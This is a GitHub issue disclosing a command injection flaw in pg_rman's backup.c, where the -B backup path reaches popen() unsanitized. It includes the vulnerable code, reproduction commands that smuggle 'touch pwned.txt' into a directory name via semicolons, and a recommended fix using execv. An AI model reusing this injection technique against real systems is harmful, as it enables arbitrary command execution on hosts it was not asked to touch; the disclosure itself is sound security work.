-
Notifications
You must be signed in to change notification settings - Fork 79
Description
Description
I have discovered a command injection vulnerability. The application allows arbitrary shell command execution because it constructs a command string using the user-provided backup path (-B argument) without sanitization and executes it using popen().
Affected Component
- File:
backup.c - Function:
execute_script() - Vulnerable Logic: The code concatenates the
backup_pathinto a string usingsnprintfand passes it directly topopen.
Vulnerable Code Snippet
/* join_path_components includes the user-controlled backup_path */
join_path_components(ss_script, backup_path, SNAPSHOT_SCRIPT_FILE);
/* VULNERABILITY: No sanitization of ss_script before insertion */
snprintf(command, sizeof(command),
"%s %s %s", ss_script, mode, is_cleanup ? "cleanup" : "");
/* VULNERABILITY: Execution via shell */
out = popen(command, "r");To reproduce this issue, we craft a directory name containing shell metacharacters (;) and force pg_rman to process a script inside it.
- Setup: Ensure a target database is running and accessible (e.g., export PGDATABASE=testdb).
- Payload Creation: Initialize a repo with a malicious name and plant a dummy script inside it.
# Initialize the repo so pg_rman accepts it as valid
./pg_rman init -B "$(pwd)/test_dir; touch pwned.txt;" -D "$(pwd)/valid_db"
# Create the dummy script that triggers the vulnerable code block
touch "test_dir; touch pwned.txt;/snapshot_script"
chmod +x "test_dir; touch pwned.txt;/snapshot_script"- Trigger: Run the backup command pointing to the malicious directory.
./pg_rman backup -B "$(pwd)/test_dir; touch pwned.txt;" -D "$(pwd)/valid_db" -A "$(pwd)/arclog" --backup-mode=fullResult: The shell sees the ;, terminates the directory path command, and executes touch pwned.txt.
The following screenshot shows the file pwned.txt being created on the system after running the command, proving arbitrary code execution.

This allows an attacker to execute arbitrary commands with the privileges of the user running pg_rman.
Suggested Fix: Avoid invoking a shell with user-controlled input. Replace popen() with fork() and an execv-style call that passes arguments as an array, so no shell parsing occurs. Input validation on backup_path may be used as a defense in depth, but should not be relied upon as the primary fix.
